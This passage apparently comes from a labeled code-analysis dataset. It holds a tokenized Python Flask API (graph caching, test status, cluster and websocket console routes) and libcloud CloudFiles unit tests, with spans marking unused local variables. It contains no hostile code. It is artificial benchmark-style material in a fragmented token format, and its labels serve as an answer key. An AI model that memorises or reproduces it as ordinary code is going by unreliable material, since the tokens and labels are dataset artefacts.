"(_", "time_", "._", "time_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "timestamp_", "=_", "max_", "(_", "0_", ",_", "end", "\\u", "timestamp_", "-_", "int_", "(_", "age_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "graph", "URL_", "=_", "\"", "http", "://\"_", "+_", "host_", "+_", "construct", "\\u", "series", "\\u", "graph", "\\u", "url_", "(_", "series_", ",_", "start", "\\u", "timestamp_", ",_", "end", "\\u", "timestamp_", ",_", "operation_", ",_", "metric_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "loader_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "screenshot_", "._", "get", "\\u", "graph", "\\u", "png_", "(_", "graph", "URL_", ",_", "x", "\\u", "crop_", "=_", "900_", ",_", "y", "\\u", "crop_", "=_", "750_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cache", "\\u", "key_", "=_", "series_", "+_", "\"/\"_", "+_", "age_", "+_", "\"/\"_", "+_", "operation_", "+_", "\"/\"_", "+_", "metric_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "stu", "pid", "\\u", "cache_", "._", "stu", "pid", "\\u", "cache", "\\u", "get_", "(_", "\"/", "tmp", "\"_", ",_", "cache", "\\u", "key_", ",_", "loader_", ",_", "expires_", ",_", "invalidate", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "api", "/", "series", "/", "<", "series", ">/", "<", "age", ">/", "graph", "/", "cache", "d", "/", "<", "operati", "on", ">/", "<", "metric", ">.", "png", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "series", "\\u", "graph", "\\u", "png", "\\u", "cache", "d\\u", "caching", "_", "(_", "series_", ",_", "age_", ",_", "operation_", ",_", "metric_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Response_", "(_", "response_", "=_", "get", "\\u", "series", "\\u", "graph", "\\u", "png", "\\u", "cached_", "(_", "series_", ",_", "age_", ",_", "operation_", ",_", "metric_", ",_", "0_", ",_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "status_", "=_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mimetype_", "=_", "'", "applica", "tion", "/", "png", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "api", "/", "series", "/", "<", "series", ">/", "<", "age", ">/", "graph", "/", "<", "operati", "on", ">/", "<", "metric", ">.", "png", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "series", "\\u", "graph", "\\u", "png", "\\u", "cache", "d\\u", "invalid", "ati", "ng_", "(_", "series_", ",_", "age_", ",_", "operation_", ",_", "metric_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Response_", "(_", "response_", "=_", "get", "\\u", "series", "\\u", "graph", "\\u", "png", "\\u", "cached_", "(_", "series_", ",_", "age_", ",_", "operation_", ",_", "metric_", ",_", "0_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "status_", "=_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mimetype_", "=_", "'", "applica", "tion", "/", "png", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "api", "/", "tests", "/", "status", "/", "id", "/", "<", "test\\u", "id", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "s", "\\u", "auth_", "(_", "'", "user", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "test\\u", "status_", "(_", "test\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Retrieve", " ", "the", " ", "status", " ", "for", " ", "a", " ", "test", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "status_", "=_", "db_", "._", "get", "\\u", "test\\u", "status_", "(_", "test\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "jsonify_", "(_", "{_", "'", "status", "'_", ":_", "status_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Un", "know", "n", "Test", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "make", "\\u", "response_", "(_", "jsonify_", "(_", "{_", "'", "error", "'_", ":_", "'", "Un", "know", "n", " ", "Test", " ", "{", "test\\u", "id", "}.'_", "._", "format_", "(_", "test\\u", "id_", "=_", "test\\u", "id_", ")_", "}_", ")_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "api", "/", "cluster", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "s", "\\u", "auth_", "(_", "'", "user", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "clusters_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Retrieve", " ", "informati", "on", " ", "abo", "ut", " ", "avail", "able", " ", "cluster", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clusters_", "=_", "db_", "._", "get", "\\u", "clusters_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "make", "\\u", "response_", "(_", "jsonify_", "(_", "{_", "'", "cluster", "s", "'_", ":_", "clusters_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "api", "/", "cluster", "s", "/", "<", "cluster", "\\u", "name", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "s", "\\u", "auth_", "(_", "'", "user", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "cluster", "s", "\\u", "by", "\\u", "name_", "(_", "cluster", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Retrieve", " ", "informati", "on", " ", "abo", "ut", " ", "a", " ", "cluster", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clusters_", "=_", "db_", "._", "get", "\\u", "clusters_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "make", "\\u", "response_", "(_", "jsonify_", "(_", "clusters_", "[_", "cluster", "\\u", "name_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "api", "/", "tests", "/", "progress", "/", "id", "/", "<", "test\\u", "id", ">'_", ",_", "methods_", "=_", "[_", "'", "POST", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "s", "\\u", "auth_", "(_", "'", "user", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "set\\u", "progress", "\\u", "message", "\\u", "on", "\\u", "test_", "(_", "test\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "request_", "._", "get", "\\u", "json_", "(_", ")_", "[_", "'", "progress", "\\u", "msg", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "update", "\\u", "test\\u", "progress", "\\u", "msg_", "(_", "test\\u", "id_", ",_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "jsonify_", "(_", "{_", "'", "status", "'_", ":_", "'", "ok", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "require", "s", "\\u", "auth_", "(_", "'", "user", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "sockets_", "._", "route_", "(_", "'/", "api", "/", "console", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "console", "\\u", "messages_", "(_", "ws_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Receive", " ", "console", " ", "message", "s", " ", "as", " ", "the", "y", " ", "happ", "en", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "ZM", "Q", " ", "message", " ", "format", ":", "\\", "10", ";", " ", "Cons", "ole", " ", "message", "s", ":", "\\", "10", ";", " ", " ", "console", " ", "cluster", "\\u", "name", " ", "{", "\"", "job", "\\u", "id", "\":\"", "current", "\\u", "job", "\\u", "id", "\",", " ", "\"", "msg", "\":\"", "message", " ", "from", " ", "console", "\"}", "\\", "10", ";", " ", "Control", " ", "message", "s", ":", "\\", "10", ";", " ", " ", "Keep", " ", "alive", ":", "\\", "10", ";", " ", " ", "The", " ", "cluster", " ", "is", " ", "startin", "g", " ", "a", " ", "job", ":", "\\", "10", ";", " ", " ", " ", "console", " ", "cluster", "\\u", "name", " ", "{", "\"", "job", "\\u", "id", "\":\"", "current", "\\u", "job", "\\u", "id", "\",", " ", "\"", "ctl", "\":\"", "START", "\"}", "\\", "10", ";", " ", " ", "The", " ", "cluster", " ", "finish", "ed", " ", "a", " ", "job", ":", "\\", "10", ";", " ", " ", " ", "console", " ", "cluster", "\\u", "name", " ", "{", "\"", "job", "\\u", "id", "\":\"", "current", "\\u", "job", "\\u", "id", "\",", " ", "\"", "ctl", "\":\"", "DON", "E", "\"}", "\\", "10", ";", " ", " ", "The", " ", "cluster", " ", "is", " ", "not", " ", "working", " ", "on", " ", "anyt", "hing", ":", "\\", "10", ";", " ", " ", " ", "console", " ", "cluster", "\\u", "name", " ", "{", "\"", "ctl", "\":\"", "IDLE", "\"}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Whe", "n", " ", "forward", "ing", " ", "message", "s", " ", "to", " ", "the", " ", "websocket", " ", "client", ",", " ", "the", " ", "\"", "console", " ", "cluster", "\\u", "name", "\"", " ", "\\", "10", ";", " ", " ", " ", " ", "porti", "on", " ", "is", " ", "dropped", " ", "and", " ", "just", " ", "the", " ", "JSO", "N", " ", "is", " ", "sent", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Webs", "ocket", " ", "send", "s", " ", "keepalive", " ", "message", "s", " ", "periodic", "ally", ":", "\\", "10", ";", " ", "{", "\"", "ctl", "\":\"", "KEEP", "ALI", "VE", "\"}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cluster", "\\u", "name_", "=_", "ws_", "._", "receive_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console", "\\u", "socket_", "=_", "console", "\\u", "subscribe_", "(_", "cluster", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "console", "\\u", "socket_", "._", "recv", "\\u", "string_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "data_", "._", "lstrip_", "(_", "\"", "console", " ", "{", "cluster", "\\u", "name", "}", " ", "\"_", "._", "format_", "(_", "cluster", "\\u", "name_", "=_", "cluster", "\\u", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ws_", "._", "send_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "zmq_", "._", "error_", "._", "Again", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "we", " ", "timeo", "ut", " ", "from", " ", "zmq", ",", " ", "send", " ", "a", " ", "keep", " ", "alive", " ", "request", " ", "to", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "websocket", " ", "client", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ws_", "._", "send_", "(_", "'{", "\"", "ctl", "\":\"", "KEEP", "ALI", "VE", "\"}'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "client", " ", "websocket", " ", "will", " ", "send", " ", "keepalive", " ", "back", ":_", "\\u\\u\\uNL\\u\\u\\u_", "ws_", "._", "receive_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "zmq_", "._", "error_", "._", "ZM", "QE", "rror_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "e_", "._", "errno_", "==_", "zmq_", "._", "POLL", "ERR_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "log_", "._", "error_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Interr", "upt", "ed", " ", "zmq", " ", "socket", " ", "code", ",", " ", "reini", "tial", "ize", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "I", " ", "get", " ", "this", " ", "whe", "n", " ", "I", " ", "resiz", "e", " ", "my", " ", "termina", "l", "..", " ", "WT", "F", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "console", "\\u", "socket_", "=_", "setup", "\\u", "zmq_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "error_", "(_", "\"", "Unsu", "bsc", "rib", "ing", " ", "from", " ", "zmq", " ", "socket", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console", "\\u", "socket_", "._", "sets", "ock", "opt", "\\u", "string_", "(_", "zmq_", "._", "UNSU", "BS", "CRI", "BE_", ",_", "u", "''_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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
[ { "content": " def test_get_meta_data(self):\n meta_data = self.driver.get_meta_data()", "metadata": "root.CloudFilesTests.test_get_meta_data", "header": "['class', 'CloudFilesTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 51 }, { "content": " def test_create_container_already_exists(self):\n CloudFilesMockHttp.type = 'ALREADY_EXISTS'\n\n try:\n container = self.driver.create_container(container_name='test_create_container')\n except ContainerAlreadyExistsError:\n pass\n else:\n self.fail('Container already exists but an exception was not thrown')", "metadata": "root.CloudFilesTests.test_create_container_already_exists", "header": "['class', 'CloudFilesTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 105 }, { "content": " def test_create_container_invalid_name(self):\n try:\n container = self.driver.create_container(container_name='invalid//name/')\n except:\n pass\n else:\n self.fail('Invalid name was provided (name contains slashes), but exception was not thrown')", "metadata": "root.CloudFilesTests.test_create_container_invalid_name", "header": "['class', 'CloudFilesTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 115 }, { "content": " def test_create_container_invalid_name(self):\n name = ''.join([ 'x' for x in range(0, 257)])\n try:\n container = self.driver.create_container(container_name=name)\n except:\n pass\n else:\n self.fail('Invalid name was provided (name is too long), but exception was not thrown')", "metadata": "root.CloudFilesTests.test_create_container_invalid_name", "header": "['class', 'CloudFilesTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 123 }, { "content": " def test_delete_container_not_found(self):\n CloudFilesMockHttp.type = 'NOT_FOUND'\n container = Container(name='foo_bar_container', extra={}, driver=self)\n try:\n result = self.driver.delete_container(container=container)\n except ContainerDoesNotExistError:\n pass\n else:\n self.fail('Container does not exist but an exception was not thrown')", "metadata": "root.CloudFilesTests.test_delete_container_not_found", "header": "['class', 'CloudFilesTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 137 }, { "content": " def test_delete_container_not_empty(self):\n CloudFilesMockHttp.type = 'NOT_EMPTY'\n container = Container(name='foo_bar_container', extra={}, driver=self)\n try:\n result = self.driver.delete_container(container=container)\n except ContainerIsNotEmptyError:\n pass\n else:\n self.fail('Container is not empty but an exception was not thrown')", "metadata": "root.CloudFilesTests.test_delete_container_not_empty", "header": "['class', 'CloudFilesTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 147 }, { "content": " def download_object_success_not_found(self):\n CloudFilesMockHttp.type = 'NOT_FOUND'\n obj = Object(name='foo_bar_object', size=1000, hash=None, extra={},\n container=container, meta_data=None,\n driver=CloudFilesStorageDriver)\n destination_path = os.path.abspath(__file__)\n try:\n result = self.driver.download_object(obj=obj,\n destination_path=destination_path,\n overwrite_existing=False,\n delete_on_failure=True)\n except ObjectDoesNotExistError:\n pass\n else:\n self.fail('Object does not exist but an exception was not thrown')", "metadata": "root.CloudFilesTests.download_object_success_not_found", "header": "['class', 'CloudFilesTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 182 }, { "content": " def test_upload_object_invalid_hash(self):\n def upload_file(self, response, file_path, chunked=False,\n calculate_hash=True):\n return True, 'hash343hhash89h932439jsaa89', 1000\n\n CloudFilesMockRawResponse.type = 'INVALID_HASH'\n\n old_func = CloudFilesStorageDriver._upload_file\n CloudFilesStorageDriver._upload_file = upload_file\n file_path = os.path.abspath(__file__)\n container = Container(name='foo_bar_container', extra={}, driver=self)\n object_name = 'foo_test_upload'\n try:\n obj = self.driver.upload_object(file_path=file_path, container=container,\n object_name=object_name,\n file_hash='footest123')\n except ObjectHashMismatchError:\n pass\n else:\n self.fail('Invalid hash was returned but an exception was not thrown')\n finally:\n CloudFilesStorageDriver._upload_file = old_func", "metadata": "root.CloudFilesTests.test_upload_object_invalid_hash", "header": "['class', 'CloudFilesTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 217 }, { "content": " def test_upload_object_no_content_type(self):\n def no_content_type(name):\n return None, None\n\n old_func = libcloud.utils.guess_file_mime_type\n libcloud.utils.guess_file_mime_type = no_content_type\n file_path = os.path.abspath(__file__)\n container = Container(name='foo_bar_container', extra={}, driver=self)\n object_name = 'foo_test_upload'\n try:\n obj = self.driver.upload_object(file_path=file_path, container=container,\n object_name=object_name)\n except AttributeError:\n pass\n else:\n self.fail('File content type not provided but an exception was not thrown')\n finally:\n libcloud.utils.guess_file_mime_type = old_func", "metadata": "root.CloudFilesTests.test_upload_object_no_content_type", "header": "['class', 'CloudFilesTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 240 }, { "content": " def test_upload_object_error(self):\n def dummy_content_type(name):\n return 'application/zip', None\n\n def send(instance):\n raise Exception('')\n\n old_func1 = libcloud.utils.guess_file_mime_type\n libcloud.utils.guess_file_mime_type = dummy_content_type\n old_func2 = CloudFilesMockHttp.send\n CloudFilesMockHttp.send = send\n\n file_path = os.path.abspath(__file__)\n container = Container(name='foo_bar_container', extra={}, driver=self)\n object_name = 'foo_test_upload'\n try:\n obj = self.driver.upload_object(file_path=file_path, container=container,\n object_name=object_name)\n except LibcloudError:\n pass\n else:\n self.fail('Timeout while uploading but an exception was not thrown')\n finally:\n libcloud.utils.guess_file_mime_type = old_func1\n CloudFilesMockHttp.send = old_func2", "metadata": "root.CloudFilesTests.test_upload_object_error", "header": "['class', 'CloudFilesTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 259 }, { "content": " def test_upload_object_inexistent_file(self):\n def dummy_content_type(name):\n return 'application/zip', None\n\n old_func = libcloud.utils.guess_file_mime_type\n libcloud.utils.guess_file_mime_type = dummy_content_type\n\n file_path = os.path.abspath(__file__ + '.inexistent')\n container = Container(name='foo_bar_container', extra={}, driver=self)\n object_name = 'foo_test_upload'\n try:\n obj = self.driver.upload_object(file_path=file_path, container=container,\n object_name=object_name)\n except OSError:\n pass\n else:\n self.fail('Inesitent but an exception was not thrown')\n finally:\n libcloud.utils.guess_file_mime_type = old_func", "metadata": "root.CloudFilesTests.test_upload_object_inexistent_file", "header": "['class', 'CloudFilesTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 285 }, { "content": " def test_upload_object_via_stream(self):\n def dummy_content_type(name):\n return 'application/zip', None\n\n old_func = libcloud.utils.guess_file_mime_type\n libcloud.utils.guess_file_mime_type = dummy_content_type\n\n container = Container(name='foo_bar_container', extra={}, driver=self)\n object_name = 'foo_test_stream_data'\n iterator = DummyIterator(data=['2', '3', '5'])\n try:\n obj = self.driver.upload_object_via_stream(container=container,\n object_name=object_name,\n iterator=iterator)\n finally:\n libcloud.utils.guess_file_mime_type = old_func", "metadata": "root.CloudFilesTests.test_upload_object_via_stream", "header": "['class', 'CloudFilesTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 305 }, { "content": " def test_delete_object_success(self):\n CloudFilesMockHttp.type = 'NOT_FOUND'\n container = Container(name='foo_bar_container', extra={}, driver=self)\n obj = Object(name='foo_bar_object', size=1000, hash=None, extra={},\n container=container, meta_data=None,\n driver=CloudFilesStorageDriver)\n try:\n result = self.driver.delete_object(obj=obj)\n except ObjectDoesNotExistError:\n pass\n else:\n self.fail('Object does not exist but an exception was not thrown')", "metadata": "root.CloudFilesTests.test_delete_object_success", "header": "['class', 'CloudFilesTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 330 }, { "content": " def _v1_MossoCloudFS_foo_bar_container_foo_test_upload(self, method, url, body, headers):\n # test_object_upload_success\n body = ''\n header = copy.deepcopy(self.base_headers)\n return (httplib.CREATED, body, headers, httplib.responses[httplib.OK])", "metadata": "root.CloudFilesMockRawResponse._v1_MossoCloudFS_foo_bar_container_foo_test_upload", "header": "['class', 'CloudFilesMockRawResponse', '(', 'MockRawResponse', ')', ':', '___EOS___']", "index": 521 } ]
[ { "span": "meta_data ", "start_line": 52, "start_column": 8, "end_line": 52, "end_column": 17 }, { "span": "container ", "start_line": 109, "start_column": 12, "end_line": 109, "end_column": 21 }, { "span": "container ", "start_line": 117, "start_column": 12, "end_line": 117, "end_column": 21 }, { "span": "container ", "start_line": 126, "start_column": 12, "end_line": 126, "end_column": 21 }, { "span": "result ", "start_line": 141, "start_column": 12, "end_line": 141, "end_column": 18 }, { "span": "result ", "start_line": 151, "start_column": 12, "end_line": 151, "end_column": 18 }, { "span": "result ", "start_line": 189, "start_column": 12, "end_line": 189, "end_column": 18 }, { "span": "obj ", "start_line": 230, "start_column": 12, "end_line": 230, "end_column": 15 }, { "span": "obj ", "start_line": 250, "start_column": 12, "end_line": 250, "end_column": 15 }, { "span": "obj ", "start_line": 275, "start_column": 12, "end_line": 275, "end_column": 15 }, { "span": "obj ", "start_line": 296, "start_column": 12, "end_line": 296, "end_column": 15 }, { "span": "obj ", "start_line": 316, "start_column": 12, "end_line": 316, "end_column": 15 }, { "span": "result ", "start_line": 337, "start_column": 12, "end_line": 337, "end_column": 18 }, { "span": "header ", "start_line": 524, "start_column": 8, "end_line": 524, "end_column": 14 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Cloud", "Files", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "meta", "\\u", "data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "meta", "\\u", "data_", "=_", "self_", "._", "driver_", "._", "get", "\\u", "meta", "\\u", "data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cloud", "Files", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "container", "\\u", "alr", "ead", "y", "\\u", "exists_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Cloud", "Files", "Moc", "k", "Http_", "._", "type_", "=_", "'", "ALREADY", "\\u", "EXIST", "S", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "container_", "=_", "self_", "._", "driver_", "._", "create", "\\u", "container_", "(_", "container", "\\u", "name_", "=_", "'", "test\\u", "create", "\\u", "container", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Containe", "r", "Al", "read", "y", "Exist", "s", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Containe", "r", " ", "alr", "ead", "y", " ", "exist", "s", " ", "but", " ", "an", " ", "exception", " ", "was", " ", "not", " ", "throw", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cloud", "Files", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", 